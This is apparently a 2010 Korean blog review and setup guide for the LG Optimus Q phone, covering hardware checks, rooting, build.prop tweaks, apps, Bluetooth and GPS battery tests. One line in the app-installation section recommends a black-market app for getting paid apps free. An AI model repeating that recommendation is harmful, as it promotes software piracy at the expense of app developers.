  • 옵티머스Q의 첫번째 장점은 말마따나 '진리의 쿼티 자판'이다. 옵티머스Q의 위대한 쿼티 키보드 때문에 대체 LGE가 옵티머스Z 같은 걸 왜 만드나 싶은 생각이 들 정도. 안그래도 다음 출시된다는 안드로이드 폰 스펙을 보니 LGE가 정신이 제대로 나간 것 같다. --> 2010.11.02 현재 LGE에서 출시되는 어떤 안드로이드 휴대폰도 옵티머스Q를 능가하는 스펙은 나오지 않음.
  • 싼 가격. 9월 들어 옵티머스Q가 왕창 풀렸다. 한달 3만 5천원에 1G 데이터, 150분 통화, 100통의 문자. 이중 1G 데이터는 스트리밍 동영상 감상만 아니면 굳이 무선 사용할 필요가 없는 넉넉한 양.
  • 고릴라 글래스 때문에 액정 보호지 안 붙여도 된다. 나중에 중고로 팔려면 그래도 액보는 붙이지만. --> 아스팔트에 떨어지면 고릴라 글래스라도 긁힌다.
단점
  • 배터리 사용시간이 짧은 편. 전력관리 안하면 하루 버티기 힘들다.
  • 치면 바스러지고 떨구면 아작날 것 같은 약한 인상. 특히 프레임은 쉽게 손상될 것 같다.
  • 파워 버튼을 누르기 어렵다. 노키아나 스카이의 휴대폰처럼 락/파워를 슬라이드로 만들어 놓으면 화면에 스크린 락을 안 걸어도 되는데... 참 애매한 파워 버튼이다.
    • 걸 해결하는 참신한 아이디어가 안드로이드폰 동호회에 올라온 적이 있다. 유아용 글자 스티커 중에 'ㅣ'나 영문 아이(I)를 파워 버튼에 붙여놓는 것. 그렇게 했더니 이제는 주머니에서 멋대로 눌려 버린다 -_-
    • 루팅 후 검색 버튼을 리맵하여 파워 버튼으로 사용하는 방법도 있다.
통화 품질

아이폰 4 때문에 인기를 끌고 있는 데스그립 테스트를 옵큐에서 해봤다:
  • 공중에 띄운 상태(비현실적인 상황): -65dbm
  • 바닥에 내려놓은 상태: -74dbm
  • 일반적인 파지: -74dbm
  • 일반적인 파지 상태에서 귀에 휴대폰을 대고 있을 때: -74dbm
  • 액정을 제외하고 손으로 휴대폰 프레임을 모두 감싼 상태: -85dbm
  • 앉은 자리에서 주머니에 넣었을 때: -78dbm
옵티머스Q는 데스 그립으로 -74dbm - -85dbm = 10db 가량 차이가 났다. 따라서 20db 이상 차이가 나는 아이폰4보다 열 배쯤 두 배쯤 신호 감도 면에서 낫다. 옵티머스Q를 가지고 있는 다른 사람것으로도 해 봤는데 같은 장소에서 결과가 비슷하게 나왔다. 아이폰4와 아이폰3GS, 옵티머스Q를 모두 동원해 테스트하기도 했지만 이런 테스트는 객관적인 자료라기 보다는 그냥 데스 그립 테스트 놀이로 이해하는 게 나을 것 같다.

점검 항목 (2010.11.02 추가됨)

USB, 배터리, 내장 SD 카드
  • 패키지에 포함된 USB 연결 케이블을 PC에 꽂고 20핀 단자를 휴대폰에 연결하면 충전되기 시작한다. USB 포트로 출력되는 전원은 5V, 500mA 가량인데, USB 포트로 충전할 경우 옵티머스Q의 배터리 용량이 1350mAh이므로, 계산상으로는 1350mAH / 500mA = 2.7시간 정도 걸린다. 그러나 옵티머스 Q가 켜진 상태로 소비하는 전력이 있으므로 실제로는 완전 충전에 3.5시간 정도 걸린다고 봐야 한다.
  • USB를 통해 배터리가 충전되는 중에는 휴대폰의 뒷 패널 부근이 따뜻해지는데 정상적인 현상이다.
  • 상단의 상태바에 충전 상황이 나오지만 수치로 확인하고 싶을 때는 홈->메뉴->설정->휴대전화 정보->상태->배터리 상태를 점검한다.
  • Asus, Gigabyte, Asrock등의 PC 메인보드에서는 iPhone등의 USB 충전을 지원하기 위해 USB 출력 전류를 늘려 놓기도 했다. 이 경우 USB 포트를 통해 많게는 1.5A 가량의 전류가 출력되므로 배터리 충전 시간이 더 빨라진다. 기존 보드에도 BIOS만 업데이트하면 되는 경우가 있으므로 확인해 보는 것이 좋겠다.
  • 그런 보드를 사용하는 것이 아니라면 가장 좋은 방법이 유전원 USB 허브를 사용하는 것이다. PC 메인보드가 좋지 않거나, 운이 나쁘면 충전 중 사고로 PC 메인 보드의 USB 포트가 맛이 갈수도 있다. 14000원 가량의 유전원 USB 허브는 USB로 충전하는 여러 휴대기기를 동시에 충전하는데 편리하다. 물론 이때 유전원 USB 허브의 전원으로 사용하는 어댑터의 용량이 중요하다.
  • USB 유전원 허브의 또다른 장점: 충전 기기가 많을 때 허브와 어댑터를 들고 다니면 이동식 멀티 USB 충전기가 됨 -_-
  • USB가 연결된 상태에서 상태바를 끌어 내려 'USB 연결됨'을 터치해서 마운트를 누르면 마치 USB 메모리처럼 PC에서 이동식 디스크로 잡히는 것을 확인할 수 있다. 내장 SD 카드에 mp3 파일등을 복사해서 제대로 저장되는지 확인. 동호회 등에서 apk 파일을 다운받아 이렇게 이동식 디스크로 잡아 사한 후 설치하기도 한다.
3G
  • 홈->메뉴->설정->휴대전화 정보->상태->배터리 상태 화면 에서 수신 감도를 확인한다. 같은 통신사의 다른 휴대폰과 비교해 수신 감도가 현저하게 낮다면 문제.
무선랜
  • 홈->메뉴->설정->무선 및 네트워크-> Wifi 켜기 클릭 후,
  • 홈->메뉴->설정->무선 및 네트워크-> Wifi 설정에서 무선 AP 잡아본다.
  • 인터넷 앱 등을 이용해 인터넷이 되는지 확인
나침반, GPS, 피치/기울기 센서, 가속도 센서, 접근 센서
  • GPS 세팅: 홈->메뉴->설정->장소 및 보안->'GPS 도우미 서버 접속 허용' 체크 : A-GPS를 제대로 사용하려면 도우미 서버 접속을 허용해야 한다. 그렇지 않을 경우 GPS 위치 잡는데 오랜 시간이 걸린다. A-GPS 용 패킷 사용량은 얼마 되지 않는다. 무조건 켜 놓는 것이 좋다.
  • GPS를 켠 상태로 하늘이 열린 곳이나 창가에서 GPS Status 앱을 구해 실행하여 위성이 잡히는 갯수를 세어본다. 하늘이 완전히 열린 곳에서는 GPS 보조 데이터 전송 후 늦어도 몇십 초 이내에 10~12개 가량의 위성을 잡는데, 주변 지형 상황에 따라 위성 숫자는 달라질 수 있다.
  • GPS Status 앱에서는 다른 센서들을 테스트해 볼 수도 있다.
    • 가속도 센서: 휴대폰을 급히 휘두르면 수치가 바뀌는 것을 볼 수 있음.
    • 피치/기울기 센서: DxxLxxx 형태로 출력. D=down, U=up, L=left, R=Right. 휴대폰을 이리저리 기울여 D,U,L,R이 변화하는지 점검
    • 나침반: 자북(지자기 북쪽)을 기준으로 올바른 방향을 가르키는지 확인하고 휴대폰을 360도 회전하면서 일정하게 자북을 가르키는지 점검.
    • 나침반의 캘리브레이션은 catch.com의 compass란 프로그램을 설치한 후 menu->calibrate를 선택해 팔자 모양으로 휴대폰을 이동시켜 한다. 이게 실제로 캘리브레이션을 제대로 하는지는 확실치 않다. 손목 스냅을 이용해도 8자 돌리기가 잘 될리 없다. 휴대폰을 들고 제자리에서 오른쪽으로 천천히 360도 돌았다가 왼쪽으로 천천히 360도 돈다. 좀 정신이 없지만 보통 전자 나침반의 캘리브레이션을 그렇게 한다.  -_-
  • 접근 센서: 전화를 걸고 휴대폰을 귀에 대었다가 떼었을 때 화면이 꺼졌다가 다시 켜지면 정상.
버튼, 트랙볼, 키보드
  • 버튼 등의 사용법은 매뉴얼을 숙지하는게 좋지만 다들 귀찮아서 매뉴얼을 안 읽는 듯. 지겨워도 꼭 읽도록 하자.
  • 홈에서 드로워를 열어 앱들이 줄줄이 보이는 상태에서 트랙볼을 전후좌우로 움직이면 포커스가 바뀌는 것을 확인할 수 있다. 클릭하면 앱 실행.
  • 펑션키: 키보드 왼쪽 최하단 버튼은 키보드의 파란색으로 인쇄된 문자(숫자와 기호)를 입력할 때 사용한다.
    • 펑션키를 누르고 있는 상태에서 연속 입력할 수도 있고,
    • 펑션 키를 한 번 누르고 다른 키를 눌러 한 글자를 입력할 수도 있고,
    • 펑션 키를 두 번 연속 누른 다음에는 펑션 상태로 전환되므로 그 이후에 누르는 키는 모두 특수문자나 숫자가 된다.
    • 해제는 펑션 키를 한 번 더 누르는 것.
  • 시프트 키 역시 펑션 키와 작동하는 방식이 같다.
  • 키보드: 일부 키의 키캡에서 정상적이지 않은 소리가 나서 키보드를 수리하러 A/S 센터를 방문하는 경우가 가끔 있는 것 같다. 키보드 불량이나 이물질, 또는 케이스와의 이격 때문은 아닌 것 같고, 보통은 키캡으로 쓰인 금속의 장력이 키캡마다 조금씩  차이가 나기 때문이다.
  • 이 경우, A/S 센터에서 교체해 달라면 무료로 교체해 주지만, 옵티머스 Q의 A/S를 기사들이 별로 좋아하지는 않는 것이... 뜯는 과정을 보면 이해가 간다. 내부 회로가 무척 복잡해서 뜯어 수리하고 조립하는데 적어도 30분 이상이 걸리는데, 그렇게 수리해도 사용자가 완전히 만족하기는 힘들다는 기사님 말씀.
  • 홈 버튼과 검색 버튼 사이에 있는 틈으로 먼지 등이 유입되면 버튼 감이 둔해질 수 있다. 이 경우는 분해 후 소제하는 것 밖에 방법이 없는데 일반인이 휴대폰을 뜯는 것은 대충 포기하고 A/S 센터에 맡기는게 낫다.
카메라
  • 버튼 중 카메라 버튼은 짧게 누르면 화면 캡쳐로 작동. 길게 누르면 카메라 앱이 실행된다. 카메라 앱이 실행된 상태에서 살짝 누르면 보통 카메라의 반 셔터처럼 AF가 작동하고 완전히 누르면 사진이 찍힌다.
  • 캡쳐된 파일은 /sdcard/DCIM/Capture 디렉토리에 저장된다.
  • 카메라로 찍은 동영상 및 사진은 /sdcard/DCIM/Camera 디렉토리에 저장된다.
  • 갤러리/카메라 등에서 동영상을 youtube로 올리려면 일단 youtube 계정이 있어야 하고, 설정에서 언어 정보를 바꿔야 한다. 홈->설정->언어 및 키보드->언어 선택->English 를 클릭. 한국의 정책 때문에 한국 로케일로는 youtube에 동영상을 업로드할 수 없다.
  • 갤러리/카메라 등에서 사진을 picassa로 올리는 것은 구글 계정만 있으면 간단히 해결된다.
DMB
  • DMB 안테나를 꽂고 DMB 앱을 실행. 이어폰 잭에 이어폰을 꽂고 DMB 앱 실행. 이 때 이어폰이 DMB 안테나 역할을 한다.
  • DMB 안테나를 키고리에 엮어 가지고 다니면 액정이나 프레임에 부딫혀 실금이 날 수 있다. DMB 안테나는 어디 적당히 짱 박아두고 3.5 파이 이어폰을 들고 다니는게 낫겠다.
일정 및 동기화

십몇 년치 일정 데이터를 계속 지고 가야 할 팔자다. 앞으로도 꾸준히 늘어날 데이터이고. 그래서 동기화가 매우 중요한데 안드로이드폰을 쓰기 전부터 동기화는 걱정한 적이 없다.
  • 컨택트 및 캘린더는 각각 구글 메일 계정의 컨택트와 구글 캘린더로 해결. 컨택트의 그룹을 모두 디스플레이하려면 주소록->보기설정->Google에 나오는 항목을 모두 체크해야 일단 다 보인다.
  • 구글 Docs는 GDocs로 동기화. WM 등에서 사용하던 메모는 Google Docs로 옮겨야 했다.
  • Google Reader의 RSS는  newsrob으로 동기화. --> newsrob 대신 gReader를 사용하는 것이 더 편하다. newsrob이 동기화 때문에 배터리를 꽤 많이 소비한다.
  • 데스크탑의 아웃룩과 구글 캘린더, 컨택과 동기화하기 위해 Go Contact Sync, Google Calendar Sync, gSyncIt 등의 프로그램을 사용했다.
  • 안드로이드폰은 기본적으로 2개월 전까지만 구글 캘린더와 일정을 동기화한다. 전체 일정을 동기화하려면 구글 캘린더의 설정에서 '캘린더 내보내기'를 해서 압축 파일을 받은 후 그 파일을 풀어 다시  '캘린더 가져오기'를 한 다음, 안드로이드 폰에서 동기화를 실행한다. 내 경우 10년치 데이터의 동기화가 이 방식으로 가능했다.
  • 무척 황당한 일이지만, 대다수의 안드로이드 폰은 일정 검색이 기본적으로 제공되지 않는다. 마켓에서 power search나 serchify 등을 찾아 설치. http://http://olilan.co.uk/searchify 
휴대폰에서 일정을 입력하는 것은 노키아에 비해 백배는 낫다. 쿼티 키보드 때문만은 아니다. 노키아 휴대폰을 사용하는 동안 일정을 입력하고 관리하는 것은 사실상 포기했다. 안드로이드폰 대개 gmail 계정이 있으면 연락처와 일정은 와이파이든 3G 든 망이 연동되어 있는 한 항상 동기화가 되므로 더이상 usb 케이블로 pc와 연결할 일이 없다.

시스템

Universal Androot 1.6.2.beta5 를 설치하면 클릭 한 번으로 루팅이 가능했다. 그 다음에 root explorer를 사용해 read only 파일 시스템을 리마운팅해서 read/write가 가능하도록 변경한 다음 몇 안 되는 설정을 수정했다.

펌웨어 업데이트 후(2010-10-26 무렵?) Universal Androot로는 루팅이 되지 않는다. 이 때는 PC에서 실행하는 superoneclick을 구해 사용한다. 프로그램 실행 전에 휴대폰에서 홈->메뉴->설정->응용프로그램->개발->USB 디버깅을 체크해 둔다. superoneclick 실행 후 root 버튼 클릭하고 기다리면 루팅이 완료된다.

카메라 무음 설정:
  • /system/sounds/camerashutter/ 디렉토리에서, shutter1.ogg 파일명을 sutter1.ogg_ 로 변경.
  • /system/sounds/effects/ 디렉토리에서, AutoFocus.ogg 파일명을 AutoFocus.ogg_ 로 변경.
불필요한 상주 app 제거: /system/app/ 디렉토리에서,
  • MobileVoIP.apk 파일명을 MobileVoIP.apk_ 로 변경
  • OZMessenger.apk 를  OZMessenger.apk_로 변경.
하드웨어적인 2D 그래픽스 처리 및 홈스크린 속도 향상: /system/build.prop 파일을 root explorer의 텍스트 에디터로 수정:
  • debug.sf.hw=1 # 기본값 0 , 1이면 GPU로 UI 렌더링
  • windowsmgr.max_events_per_sec=60 # 기본값 55. 초당 최대 이벤트수. 부드러워짐.
  • ro.telephony.call_ring.delay=1000 # default=3000. 링 빨리 울리게
  • wifi.supplicant_scan_interval = 90 # default=60: 와이파이 검색 빈도 낮춰 베터리 아끼기(S)
  • ro.mot.buttonlight.timeout=0 # default=1. 화면이 켜져 있을 때 버튼 불 계속 들어와 있게 하기
  • mot.proximity.delay=150 # default=450. 통화중 "검은 화면" 근접 센서 반응 빠르게 하기(ms)
build.prop에서 maxcpukhz 변경은 소용이 없었다. 위의 내용은 http://elkin.tistory.com/17 에서 복사한 것. 이중 debug.sf.hw는 카메라에서 간헐적으로 흑백 현상이 나타나기도 한다는 elkin님의 제언이 있었다.

옵티머스Q의 안드로이드 os가 2.1로 업그레이드 되면서 CPU 스케쥴링은 기본적으로 ondemand(필요할 때 CPU 클럭을 올렸다가 놀고 있을 때는 CPU 클럭을 낮추는 것) 라서 build.prop의 해당 항목을 굳이 바꿀 필요가 없었다.

그래서 Set CPU 앱으로 적당한 프로파일을 만들어 배터리 소비량을 약간이나마 줄였다. SetCPU는 배터리 소비량을 줄이는데 목적이 있는 것이 아니다. 내 폰은 게임폰이 아니라 1Ghz나 하는 고사양이 필요없는데 CPU 클럭을 낮추면 뒷판 발열이 낮아진다는 장점이 있다.

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아래는 Quadrant로 벤치마크한 결과

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첫번째 화면은 충전중(CPU 최대 속도=998Mhz)일 때 종합 평가에서 갤럭시S를 살짝  추월하는 모습, 두번째 화면은 충전중이 아닐 때(CPU 최대 속도=768Mhz) 갤럭시S보다 살짝 떨어지는 모습.

여러 가지 조건에 따라 다르지만 실 사용시 충전 중이 아닐 때도 갤럭시S보다 체감속도가 빨랐다.

앱 설치
  • 안드로이드 마켓 앱으로 대부분의 앱을 설치할 수 있지만 한국의 특수한 사정으로 게임 카테고리가 차단되어 있다(차단은 풀렸으나 게임 검색이 잘 안된다). my market을 사용하던가 루트 익스플로러에서 build.prop을 고쳐 해결(단, 루팅되어 있어야 한다).
  • market enabler는 기본 마켓 프로그램의 build.prop을 쉽게 고칠 수 있도록 해 주는 앱이다. 단, 루팅된 폰이어야 한다.
  • applanet 앱(소위 블랙마켓)은 유로앱을 무료로 다운받게 해준다.
  • 안드로이드 마켓에서 앱 설치에 도움이 되는 freeware로 QRcode 스캔이 가능한 barcode scanner를 다운받아 설치.
  • *.apk 파일을 pc로 다운로드 받아 설치하려면 usb 케이블을 연결하고 파일 시스템을 마운트하여 pc에서 접근 가능하도록 설정해야 한다.
  • 앱 설치를 쉽게 하려고 ES 파일 탐색기(freeware)를 앱 마켓에서 구해 설치했다.  ES 파일 탐색기는 LAN 모드에서 windows 가 설치된 PC의 공유 디렉토리에 접근할 수 있게 해 준다. ES 파일 탐색기는 apk 파일을 일단 SD card에 복사하고 나서 로컬에서 실행하여 앱을 설치한다.
  • 안드로이드 마켓에서 swiFTP를 구해 설치하면 안드로이드폰을 FTP 서버로 만들 수 있다. 즉, PC에서 아무 설정하지 않고 FTP client만 있으면 파일 전송을 쉽게 처리할 수 있다. 사진 전송 정도는 FTP 전용 클라이언트 없이 웹 브라우저에서 해도 된다.
  • 안드로이드 마켓에서 Bluetooth File Transfer를 구해 설치하면 안드로이드폰끼리 파일을 주고받을 수 있다. 이 프로그램이 의외로 편하다. apk 파일이 없고 설치만 되어 있는 것을 apk로 만들어 전송해 주는 것 같다. 주의: 페어링을 먼저 해야 한다. 그리고 전송된 파일은 /sdcard에 복사된다.
기본적으로 사용하는 앱들
  • Launcher Pro Plus -- 홈 화면 변경. 주로 속도 위주로 셋업. 의미: 애니메이션 속도를 빠르게 하거나, 불필요한 화면 전환을 없앰. 잘만 셋업하면 아이폰4와 비교해서 사람들을 놀래켜줄 수도 있다 :)
  • Fast Camera -- 기본 카메라 앱의 반응속도가 매우 느려, 급하게 사진 찍을 일이 있을 때 사용. 화질은 800 x 480로 구림. 런처 프로 플러스의 아래 타스크바에 등록해 두고 정말 급할 때 사용.
  • Astro -- 별다른 선택의 여지가 없는 must have item? 하지만 실제로는 ES 파일 탐색기로 거의 대부분 작업을 다 할 수 있어 비슷. --> Astro가 ES 파일 탐색기 처럼 PC 공유 기능을 플러그인으로 지원하기 시작했다.
  • Documents To Go -- 엑셀, 워드 등의 문서 편집, PDF 보기.
  • Adobe Viewer -- Documents To Go에서는 원본 그대로의 페이지 레이아웃 대로 보여준다. 작은 화면에서 원본 레이아웃 대로 보려면 팬과 줌을 정신없이 반복해야 하는 불편이 있다. Adobe Viewer 에는 reflow 기능이 있어 화면 폭에 맞춰 텍스트를 재정렬해서 보여주는데 일부 문서에서는 이 기능이 아주 편리하다.
  • Handcent SMS -- SMS 메시지를 관리해주는 프로그램. 기본 메시지 앱에는 없는 다양한 기능을 제공해 준다. 기본 메시지의 알림을 언체크해야 이중으로 메시지 수신되는 것을 방지할 수 있다. 메시지 앱 실행 -> 환경설정 -> 수신 알림/보기 설정 -> 알림 uncheck
  • Google 별지도 -- 밤에 별자리 찾을 때 유용한 프로그램. 멋지다.
  • Remote VNC Pro -- 회사, 집 컴퓨터 원격 로긴해서 작업.  PocketCloud 라는 앱은 VNC 뿐만 아니라 RDP (터미널 서비스)에도 접속할 수 있지만 속도가 좀 느린 편.
  • MSN 톡, 네이트온 UC -- 채팅에 취향이 없지만 업무 연락을 위해.
  • TwitterDeck, Foursquare, Twitter, FaceBook, 카카오톡 -- Social Network Service 접근용 프로그램. 요금제 덕택에 무선랜 안 되도 심심치 않게 남들 궁상을 구경할 수 있게 되었다!
  • GDocs -- Google Docs와 연동해 문서 편집이 가능한 프로그램
  • gReader -- Google Reader의 subscribe 된 RSS를 읽어온다. newsrob에 비해서는 낫지만 UI가 아직 덜 정리된 듯한 인상을 준다.
  • N 드라이브 -- 네이버의 10GB 짜리 대용량 네트웍 드라이브. 꽤 쓸모가 있다.
  • Vignette -- 기본 카메라를 대체하여 다양한 효과를 줄 수 있다. 속도가 느린 것이 흠.
  • 컬러노트 -- 메모나 할일 목록을 만들 때 사용.
  • RealCalc -- 공학용 계산기.
Widget 및 상주 프로그램

여러 종류의 위젯을 멋도 모르고 사용하다가 박대리 조기 퇴근을 경험했다. 구입한지 꽤 시일이 지나서야 위젯을 최적화했다 -- 모양은 별로라도 배터리 소비량이 적으면서 적당히 실용적인 위젯만 골라냈다. System Panel을 사용하여 각 application별 배터리 소비량을 하루 동안 측정해서 선별했다.
  • System Panel -- task kill 위젯을 제공하고 있고 기능 면에서도 Advanced Task Killer와 다를 것이 없어 advanced task killer를 지웠다. Advanced Task Killer의 장점은 일정 시간마다 불필요한 앱을 자동으로 죽여주는 기능이 있다는 점이다. System Panel에서는 현재 실행되는 앱의 시스템 점유율(및 사용율)을 보여주는 기능이 있다. 이걸 잘 활용하면 어떤 앱이 cpu 및 배터리를 많이 먹는지 판단하는데 도움이 된다.
  • Battery Indicator Pro -- 기본 배터리 잔량 표시기에 숫자 표시를 해놓았고 배터리 방전 로그를 기록할 수 있다. --> 루팅 후 배터리 잔량을 수치로 표시해주는 Status Bar로 교체하면서 사용하지 않게 됨.
  • PowerAMP -- 기본 음악 플레이어를 대체. 폴더 플레이, 앨범 아트 다운 등이 가능하고 위젯이 지원된다.
  • No Lock -- 파워를 켤 때마다 슬라이드 락을 해제해야 하는게 여간 귀찮아 설치. --> 삭제. 슬라이드 락이 해제된 상태에서 홈이나 검색 버튼이 주머니에서 눌려지면 이런 저런 앱들이 마구 실행된다. 심지어 전화도 걸고. 그래서 슬라이드락을 그대로 유지하기로.
  • Pure Grid calendar -- 런처에서 별도의 화면에 한 화면 가득 띄워놓고 본다. 캘린더 만큼 중요한 게 있을까? -- Jorte가 Pure Grid calendar보다 쓰기가 편해 교체.
  • SetCPU -- 어느 포터블 장치던 배터리를 가장 많이 사용하는 것이 LCD이므로 조도를 낮추는 것이 장시간 사용에 도움이 된다. 하지만 LCD는 발열과는 무관하다. CPU 속도를 떨구면 발열을 줄일 수 있고 배터리 소비량을 조금은 줄일 수 있어 사용.
  • 도돌 폰 사용량 -- 인기있는 프로그램. default 업데이트 주기가 1분인데 CPU 사용량이 2-3% 가량 나온다. 꽤 많이 먹는 편이라 업데이트 주기를 30분으로 늦췄다.
  • 하늘이 -- 기상청 자료를 사용하는 날씨/시계 위젯. beautiful widget류의 단점은 영 엉망인 날씨 정보를 보여줄 뿐만 아니라, 멋진 뽀대만큼 cpu 사용량도 컸다. 사실 수 년 동안 스마트폰을 사용해 오면서 날씨 위젯만큼 쓸데없는 것도 없었다. 차라리 웹 바로가기를 터치 해 날씨 보는 사이트에 직접 접속해서 실시간으로 보는게 낫지.
Bluetooth
  • 이전 노키아폰과 상대적인 비교만 가능한데, 통달거리는 20m 이내로 노키아폰보다 짧다.
  • 옵티머스Q는 블루투스 스택 및 프로파일은 하나도 지원하지 않는 것 같다. obex push profile정도는 지원할 줄 알았는데 그것도 없다(정정: 사실 휴대폰이 부팅할 때 OPP가 뜬다). pc와 연결해도 할 것이 없다. 그래서 스마트폰간 파일 전송이라도 하려면 Bluetooth File Transfer 같은 프로그램(FTP, OPP 지원)을 사용해야 한다.
  • 옵티머스 Q에서 Bluetooth File Transfer를 띄운 상태에서  시스템 트레이의 블투 아이콘 오른쪽 버튼을 누르면 파일 전송, 파일 수신 메뉴를 통해 파일 전송을 처리할 수 있다. Windows 7의 Microsoft bluetooth profile이 OPP를 지원한다. Windows XP는 안 된다.
  • 옵티머스Q에서 PC로 파일을 전송하려면 일단 PC의 블투와 옵티머스Q의 블루투스가 페어링 되어 있어야 하며, 갤러리에서는 공유에서 bluetooth를 선택하거나, Astro 같은 파일 관리자에서 해당 파일을 send via bluetooth로 선택하고 나서 전송할 대상을  고른다.  그러나 아마도 디렉토리 퍼미션 문제 때문인지 전송이 실패한다. 이를 해결하는 방법은 Bluesoleil 이나 Toshiba Bluetooth stack 등의 프로그램을 설치하는 것. 이들 프로그램은 PAN, OPP, FTP, Handset 제어 등 대부분의 블투투스 프로파일을 지원한다. HP 노트북의 경우 HP의 블루투스 드라이버만 설치해도 파일 받기가 가능하다.  
  • Bluesoleil 등의 프로그램이 워낙 무거운 관계로 단지 파일 전송만 할 목적이라면 Bluetooth File Transfer 라는 안드로이드 앱을 만든 medieval의 windows용 동명 프로그램인 Bluetooth File Transfer를 PC에 설치해서 사용.
  • 노키아폰에서는 없던 현상인데, 옵티머스Q를 헤드셋(SCS770)과 페어링할 때 미디어에만 연결되고 핸드셋에 연결되지 않는다(그 반대던가?). SCS770 헤드셋을 쿡 눌러 접속을 끊었다가 다시 접속하면 둘 다 붙는다.
카메라
  • 500만 화소의 AF 카메라는 이제 흔한 스펙이 되었다. 대낮에 찍는 사진의 품질은 볼만한 정도다. 단점: 기본 카메라 앱은 셔터 랙이 1-2초 가량 있다. JPEG 압축율이 높은 탓인지 단색계조에 노이즈가 지글지글 끓는 걸 볼 수 있다(파란 하늘을 찍을 때). 아이폰4보단 다이나믹 레인지가 떨어지지만 충분한 광량에서 밝은 피사체를 찍을 때는 별 차이 없다.
  • 동영상은 mp4s, aac 포맷으로 녹화한다. 파일 확장자는 .k3g로 PC의 왠만한 동영상 플레이어로 재생 가능하며 Youtube 업로드도 잘 된다.
GPS application

Garmin Mobile XT나, SportsTracker 같은 앱을 찾기가 어렵다. 안드로이드 마켓에서 이런 저런 앱을 보이는 대로 설치하고 사용해 봤지만 마땅히 좋다고 생각되는 것이 없었다. 대부분 구글 맵에 적당히 트랙이나 만들고 GPSr의 트립컴퓨터 같은 역할이나 하는(그것도 엉성하게 모사한) 앱이라 대부분은 설치하자 마자 화면 몇 번 보고 지워버렸다.

GPS 어플리케이션이 가졌으면 하는 기능을 열거해 보면(아니 이 정도는 기본으로 가져야 한다고 생각하는 기능을 열거해 보면),
  • Tracklog  -- 단순 트랙로그야 어느 앱에서나 볼 수 있지만 speed averaging, track smoothing, log pause(일정 속도 이하에서 로그 기록을 정지), splitting(속도를 구간별로 정리해 자동으로 waypoint 를 만들어 줌), log predicting (터널 지나갈 때 등 GPS 신호가 단기간 소실될 때 중간 지점 waypoint가 튀지 않도록 트랙 중간점의 속도를 추측해서 만들어줌), auto log (앱을 가동하면 자동으로 날짜별로 log를 기록하는 것) 등이 가능한 것은 드물던가 없는 것 같다.
  • Trackback -- 시작점, 끝점을 향해 이미 기록된 로그를 따라 이동하는 것. trackback일 수도 있고 track replay일 수도 있다. 트랙백 중 내비게이션 가이드 음성이 나와 줘야 굳이 지도나 경로 안 보고 편하게 돌아다닐 수 있겠다.
  • Sight and go -- 대부분의 GPSr에 있는 기능이고 나침반과 지도로 탐사하는 것을 GPSr로 하는 것.  터치 스크린의 장점을 십분 살려 아예 경로 설계(routing)를 화면에서 직접 하는 것도 좋겠다. 이왕 하는 김에 난이도를 지정하면 능선 연결길이나 골짜기길 등 특화된 아이템을 자동 라우팅해 주면 끝내주겠다.
  • Trip Computer -- 트랙로그와 연동되는 ETA(Estimate Time to Arrival), Moving Average Speed, Elevation Change 정도가 필요, 스마트폰의 장점을 살린다면 풍향, 풍속, 습도, 기온 따위의 정보도 충분히 수집 가능.
사용중인 앱들
  • My Tracks -- 구글에서 만든 것 치고는 허접한 앱. 셋업에서 몇몇 세부 설정을 건드릴 수 있고 트랙을 저장하거나 업로드하는 기능이 있어 일단 이걸 사용.
  • Journey Tracker -- My Tracks를 알기 전에 사용하던 프로그램. 별로.
  • Endomondo -- 앱 자체가 GPS를 다루는 것은 다른 앱들처럼 그저 그렇지만 트위터, 페이스북 연동과 트랙로그가 온라인으로 자동 전송되고 소셜 네트웍을 통한 응용(예를 들면 챌린지 같은) 설정을 잘 해 놓았다. 엔도몬도는 대부분의 스마트폰에 포팅되어 있다.
  • Naver Map -- 실시간 교통 상황을 보여주고, 길찾기가 가능해 내비로 사용할만 하지만 heading에 따른 지도 회전이 구현되어 있지 않고 음성 코멘트가 없다. 트랙로그를 기록 안한다.  자전거 지도, 등고선도 및 산행도 등은 다른 지도에서 찾아볼 수 없는 좋은 기능이다 뭐 웹에 있는 맵과 같은 거지만. --> 헤딩에 따른 지도 회전이 구현되었다. 하지만 나침반이 아주 묘하게 작동하는 현상이 있다.  
  • Daum Map -- 실시간 교통 상황, 길찾기, 나침반으로 지도 회전, 스트릿 뷰 등을 갖췄다. 역시 음성 코멘트는 없다. 뚜벅이 모드에서 나침반 지도 회전 및 스트릿 뷰를 써먹을 수 있다. 네이버맵과 마찬가지로 트랙로그를 기록하지 않는다.
GPS 테스트

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GPS Status로 실내에서 수신율을 본 것. 실내에서 무려 아홉 개의 위성을 잡았다.

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이전에 Garmin Vista HCx, Nokia N5800을 테스트했던 자료에 옵티머스Q(보라색 라인)을 GPS Trackmaker에서 겹쳐 놓았다. Vista HCx와 비교해도 손색이 없는 수신율을 보여준다.

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HCx(붉은 색)와 옵티머스Q(보라색)의 고도 비교. 수신율이 좋으니 튀는 현상이 현저하게 적었다. 이 정도면 실 사용에 GPS를 믿고 쓸만 하다. 다만, 배터리 문제 때문에 가벼운 산행 정도나 가능할 것 같다.

GPS의 배터리 사용량 측정
  • Battery Indicator Pro에서 Log를 체크해두면 배터리 소비량 측정이 가능하다.
  • My Tracks 또는 Endomondo를 단독 사용했을 때 1시간 당 배터리 게이지가 13% 가량 떨어졌다. 배터리의 특성상, LCD off 상태로 약 5~6시간 사용 가능할 듯.
  • My Tracks를 켜고(GPS on) 블루투스 켜고 기본 내장 음악 app으로 4시간 산행하면서 1시간 동안 음악을 듣고 3개의 30초 가량 동영상과 열댓장의 사진을 찍었더니 배터리 게이지가 100% -> 25%로 떨어졌다.
GPS의 이용 방법

산에서는 네이버 맵이 진리다. 거리에서 약속 장소를 찾아갈 때나 자동차 내비가 필요할 때는 빈약하나마 다음 맵을 사용한다. 자전거, 트래킹, 조깅 등의 스포츠 활동을 할 때는 엔도몬도를 사용했다.

기본 사진기 앱은 지오태그를 지원한다(카메라 설정 아이콘 -> 위치정보 표기 -> 설정 체크). GPS를 켜 놓고 돌아다니다가 사진을 찍으면, 찍은 위치의 경위도가 사진 파일에 기록된다. 이것을 panoramio난 플리커(지원하던가? 가물가물) 등의 웹 앨범에 올리거나 piccasa 등의 pc용 프로그램에서 사진을 불러오면 사진 찍은 위치를 지도로 확인할 수 있다.  

사용 소감

일주일: 옵티머스Q가 배터리를 좀 더 신경썼더라면(예: 1350mAH 대신 2200mAH 짜리 배터리를 사용한다던가) 그야말로 경쟁자가 없는 괴물폰이 되었을 것 같다.

